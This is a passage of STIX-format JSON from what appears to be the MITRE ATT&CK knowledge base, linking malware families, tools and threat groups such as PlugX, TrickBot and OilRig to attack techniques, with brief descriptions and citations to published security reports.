            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Misdat](https://attack.mitre.org/software/S0083) network traffic communicates over a raw socket.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-03-18T14:51:57.889Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--464ce0ed-31a5-4a99-9791-9ce5bb987f58",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PlugX](https://attack.mitre.org/software/S0013) has used DLL side-loading to evade anti-virus.(Citation: FireEye Clandestine Fox Part 2)(Citation: Dell TG-3390)(Citation: Stewart 2014)(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Palo Alto PlugX June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html",
                    "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.",
                    "source_name": "FireEye Clandestine Fox Part 2"
                },
                {
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "source_name": "Dell TG-3390"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf",
                    "description": "Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.",
                    "source_name": "Stewart 2014"
                },
                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/",
                    "description": "Lancaster, T. and Idrizovic, E.. (2017, June 27). Paranoid PlugX. Retrieved July 13, 2017.",
                    "source_name": "Palo Alto PlugX June 2017"
                }
            ],
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "type": "relationship",
            "modified": "2019-04-19T15:08:15.847Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bdb0d192-3d82-4e5b-92bc-7ef24fd3e65b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) uses PowerView and Pywerview to perform discovery commands such as net user, net group, net local group, etc.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-18T20:37:22.672Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--01aac35b-55e1-40d6-962f-5b5a6efdb2be",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) gathers the OS version, machine name, CPU type, amount of RAM available, and UEFI/BIOS firmware information from the victim\u2019s machine.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: Cyberreason Anchor December 2019)(Citation: Eclypsium Trickboot December 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                },
                {
                    "source_name": "Fidelis TrickBot Oct 2016",
                    "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.",
                    "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre"
                },
                {
                    "source_name": "Cyberreason Anchor December 2019",
                    "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware",
                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                },
                {
                    "source_name": "Eclypsium Trickboot December 2020",
                    "url": "https://eclypsium.com/wp-content/uploads/2020/12/TrickBot-Now-Offers-TrickBoot-Persist-Brick-Profit.pdf",
                    "description": "Eclypsium, Advanced Intelligence. (2020, December 1). TRICKBOT NOW OFFERS \u2018TRICKBOOT\u2019: PERSIST, BRICK, PROFIT. Retrieved March 15, 2021."
                }
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2021-03-15T19:28:36.607Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0b7d2d81-0d74-4365-a8ca-d70974c84a57",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694",
            "relationship_type": "uses",
            "target_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "external_references": [
                {
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "source_name": "Microsoft PLATINUM April 2016"
                }
            ],
            "description": "(Citation: Microsoft PLATINUM April 2016)",
            "type": "relationship",
            "modified": "2019-05-10T12:14:32.237Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
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            "description": "[OnionDuke](https://attack.mitre.org/software/S0052) uses Twitter as a backup C2.(Citation: F-Secure The Dukes)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e",
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            "target_ref": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8",
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            "modified": "2020-03-30T01:00:52.710Z",
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        {
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            "description": "[UACMe](https://attack.mitre.org/software/S0116) contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.(Citation: Github UACMe)",
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                {
                    "source_name": "Github UACMe",
                    "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
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                }
            ],
            "type": "relationship",
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        },
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            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) enumerates running processes to search for Wireshark and Windows Sysinternals suite.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)",
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            ],
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                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                },
                {
                    "source_name": "Unit42 DarkHydrus Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/",
                    "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."
                }
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-04-24T23:55:43.387Z",
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            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used various tools to download files, including DGet (a similar tool to wget).(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
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                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
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            "type": "relationship",
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            "created": "2018-01-16T16:13:52.465Z"
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            "description": "[ZeroT](https://attack.mitre.org/software/S0230) can add a new service to ensure [PlugX](https://attack.mitre.org/software/S0013) persists on the system when delivered as another payload onto the system.(Citation: Proofpoint ZeroT Feb 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "Proofpoint ZeroT Feb 2017",
                    "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
                }
            ],
            "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-03-21T00:42:09.900Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1c12b31e-7f17-4e00-a6b5-7eddb5828f34",
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            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2",
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                {
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF",
                    "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.",
                    "source_name": "US-CERT BADCALL"
                }
            ],
            "description": "(Citation: US-CERT BADCALL)",
            "type": "relationship",
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        },
        {
            "id": "relationship--ce71fe23-3f12-4a7c-9966-5822cdce29d3",
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            "description": "A [TYPEFRAME](https://attack.mitre.org/software/S0263) variant uses fake TLS to communicate with the C2 server.(Citation: US-CERT TYPEFRAME June 2018)",
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            ],
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                {
                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
                }
            ],
            "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "relationship_type": "uses",
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            "description": "[Bankshot](https://attack.mitre.org/software/S0239) identifies processes and collects the process ids.(Citation: McAfee Bankshot)",
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            ],
            "external_references": [
                {
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                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-02-18T03:40:29.925Z",
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            "relationship_type": "uses",
            "target_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
            "external_references": [
                {
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "source_name": "F-Secure The Dukes"
                }
            ],
            "description": "(Citation: F-Secure The Dukes)",
            "type": "relationship",
            "modified": "2019-07-25T14:25:53.497Z",
            "created": "2017-05-31T21:33:27.050Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Havij](https://attack.mitre.org/software/S0224) is used to automate SQL injection.(Citation: Check Point Havij Analysis)",
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            ],
            "external_references": [
                {
                    "source_name": "Check Point Havij Analysis",
                    "description": "Ganani, M. (2015, May 14). Analysis of the Havij SQL Injection tool. Retrieved March 19, 2018.",
                    "url": "https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/"
                }
            ],
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c"
        },
        {
            "id": "relationship--00b84a9d-8f8c-4b12-9522-ce2d1a324c25",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mis-Type](https://attack.mitre.org/software/S0084) network traffic can communicate over a raw socket.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-02-11T16:23:56.676Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ee02be12-0884-43dc-b0b4-aaaa306b1f19",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "external_references": [
                {
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/",
                    "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.",
                    "source_name": "Lazarus RATANKBA"
                }
            ],
            "description": "(Citation: Lazarus RATANKBA)",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.687Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f6cb3957-be7f-41bf-ad44-3dfbd7a5dfe2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Reaver](https://attack.mitre.org/software/S0172) collects the victim's IP address.(Citation: Palo Alto Reaver Nov 2017)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T02:22:51.842Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--50271beb-48b1-411e-86b5-990b4cbb1fb5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to enumerate files and drives.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T02:55:01.720Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--32864e94-8581-4f77-bf7d-53aaf3710f60",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [SeaDuke](https://attack.mitre.org/software/S0053) samples have a module to extract email from Microsoft Exchange servers using compromised credentials.(Citation: Symantec Seaduke 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Seaduke 2015",
                    "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.",
                    "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"
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            ],
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2020-03-17T02:32:26.715Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bb11119c-c409-4615-8c3f-8491749f2d3b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[T9000](https://attack.mitre.org/software/S0098) encrypts collected data using a single byte XOR key.(Citation: Palo Alto T9000 Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto T9000 Feb 2016",
                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"
                }
            ],
            "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
            "type": "relationship",
            "modified": "2020-03-30T03:07:37.792Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--68852bf2-c3cf-4d59-b1c1-f6af8fb61be6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is able to open a remote shell to execute commands.(Citation: FireEye Hacking Team)(Citation: Nccgroup Gh0st April 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Hacking Team",
                    "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html"
                },
                {
                    "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.",
                    "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/",
                    "source_name": "Nccgroup Gh0st April 2018"
                }
            ],
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "type": "relationship",
            "modified": "2021-03-29T19:49:11.265Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a025d011-6e46-4d3a-a9f7-31324027b7cf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has sent spearphising emails with malicious attachments to potential victims using compromised and/or spoofed email accounts.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)",
            "object_marking_refs": [
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            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "source_name": "Unit 42 OopsIE! Feb 2018"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "source_name": "Unit 42 QUADAGENT July 2018"
                },
                {
                    "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.",
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/",
                    "source_name": "Crowdstrike Helix Kitten Nov 2018"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.305Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b4c195b6-7b1f-4320-8040-e91c11ec8cbb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Catchamas](https://attack.mitre.org/software/S0261) adds a new service named NetAdapter in an apparent attempt to masquerade as a legitimate service.(Citation: Symantec Catchamas April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Catchamas April 2018",
                    "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.",
                    "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"
                }
            ],
            "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "type": "relationship",
            "modified": "2020-03-17T23:40:44.822Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f19df215-56f2-42c0-9e71-f4b5a2069c98",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) uses Port Numbers 443 and 80 for the C2 server.(Citation: FireEye CARBANAK June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2020-02-11T15:55:06.498Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--df7fb8f2-e7a6-4342-8d67-09655ceefead",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to scan for security tools such as firewalls and antivirus tools.(Citation: Cylance Shell Crew Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Shell Crew Feb 2017",
                    "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.",
                    "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
                }
            ],
            "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-03-19T22:02:48.994Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--180f0c7c-c7bb-4131-b831-f406ee0516e2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bisonal](https://attack.mitre.org/software/S0268) variants reported on in 2014 and 2015 used a simple XOR cipher for C2. Some [Bisonal](https://attack.mitre.org/software/S0268) samples encrypt C2 communications with RC4.(Citation: Unit 42 Bisonal July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Bisonal July 2018",
                    "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"
                }
            ],
            "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-30T18:38:49.299Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8ce2219f-6c25-46a2-8215-a78871e2773a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TinyZBot](https://attack.mitre.org/software/S0004) can create a shortcut in the Windows startup folder for persistence.(Citation: Cylance Cleaver)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.716Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ad50f322-18b6-43c7-bf6b-f77f4932fdad",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DustySky](https://attack.mitre.org/software/S0062) checks for the existence of anti-virus.(Citation: DustySky)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"
                }
            ],
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2021-04-27T19:53:40.882Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--328636ab-7265-4212-96d4-4ebf2e6a65db",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
